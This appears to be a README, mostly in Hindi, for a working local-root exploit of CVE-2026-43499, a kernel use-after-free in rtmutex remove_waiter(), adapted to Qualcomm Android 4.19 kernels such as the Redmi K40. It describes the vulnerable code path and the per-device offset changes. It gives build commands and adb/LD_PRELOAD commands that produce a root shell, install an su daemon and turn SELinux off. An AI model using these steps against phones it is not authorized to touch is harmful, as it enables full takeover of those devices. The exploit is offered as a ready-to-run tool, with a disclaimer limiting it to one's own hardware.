
CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF स्थानीय-रूट PoC, Qualcomm Android 4.19 कर्नेल (Redmi K40 / Snapdragon 870 श्रेणी) के लिए अनुकूलित, LD_PRELOAD आधारित
स्थानीय विशेषाधिकार वृद्धि जो CVE-2026-43499 का शोषण करती है — एक rtmutex
remove_waiter() बग जो struct rt_mutex_waiter को वेटर के कर्नेल स्टैक पर
लटका हुआ (dangling) छोड़ देता है (kernel/locking/rtmutex.c, CWE-416 use-after-free)।
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) से एक Qualcomm Android 4.19.x
वेंडर कर्नेल परिवार के लिए रूपांतरित।
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() प्रॉक्सी-लॉक रोलबैक remove_waiter() को कॉल करता है जो
waiter->task के बजाय current पर कार्य करता है — pi_lock के बिना rb-tree डीक्यू,
लटका हुआ pi_blocked_on, जिससे कर्नेल-स्टैक UAF उत्पन्न होता है।
5.10/5.15/6.1/6.6/6.12/6.18/7.0 संस्करणों तक प्रभावित; इन संस्करणों में फिक्स है; 4.19 में
कोई बैकपोर्ट नहीं है (EOL), इसलिए 4.19.157-perf प्रभावित है।src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file को .read/.write fops स्लॉट्स
पर रखा गया है (4.19 सिग्नेचर), और रीड प्रिमिटिव सरलीकृत count/page/ppos=0
फेक-बफर लेआउट का उपयोग करता है/dev/ashmem) मौजूद नहीं है — उपसर्ग लंबाई 0selinux_blob_sizes मौजूद नहीं है → सीधा cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp में कोई filter_count नहीं हैASHMEM_MISC_FOPS = miscdevice.fops स्लॉट (ashmem_misc + 0x10)Linux / WSL जिसमें Android NDK हो:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
आउटपुट: prebuilt/preload.so (LD_PRELOAD पेलोड) और एक एम्बेडेड su_daemon PIE।
इसके लिए एक ADB शेल चाहिए (एक सामान्य, अन-प्रिविलेज्ड adb shell पर्याप्त है —
एक्सप्लॉइट पूरी तरह से अन-प्रिविलेज्ड चलता है और स्वयं विशेषाधिकार बढ़ाता है)।
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
वैकल्पिक एक-लाइनर विविधताएँ:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
हर pr_* पंक्ति तुरंत write()+fsync() के साथ डिस्क पर मिरर की जाती है ताकि
कर्नेल पैनिक/रीबूट होने पर भी निशान बचा रहे:
/sdcard/Download/log_<timestamp>.txt
यदि /sdcard उपलब्ध न हो तो फॉलबैक पथ: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt।
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
मुख्य लॉग मार्कर:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — पेलोड लोड हुआslide-kaslr-ok ... base=... — KASLR बेस प्राप्त हुआpipe-physrw-summary ... root=1 ... — phys RW स्थापित हुआuid_before=... uid_after=0 ... selinux=1->0 — creds पैच किए गएUNVERIFIED प्रिंट करता है —
इस लॉग का उपयोग करके प्रति-डिवाइस उसी स्टेज को ट्यून करना होता है।target.h में फ्लैग किया जाता है और
रनटाइम पर UNVERIFIED के रूप में लॉग किया जाता है। fsync लॉग का उपयोग करके
डिवाइस पर पुनरावृत्ति करें।CONFIG_STATIC_USERMODEHELPER=y modprobe-पथ ट्रिक्स को अक्षम करता है;
प्राथमिक मार्ग सीधे cred पैचिंग है।/proc/kallsyms) और /proc/slabinfo के
माध्यम से अपने सटीक बिल्ड पर ऑफसेट की शुद्धता सत्यापित करें।Apache-2.0 (अपस्ट्रीम: NebuSec/CyberMeowfia)। केवल सुरक्षा अनुसंधान और अधिकृत डिवाइस रूटिंग के लिए। केवल अपने स्वामित्व वाले हार्डवेयर पर उपयोग करें।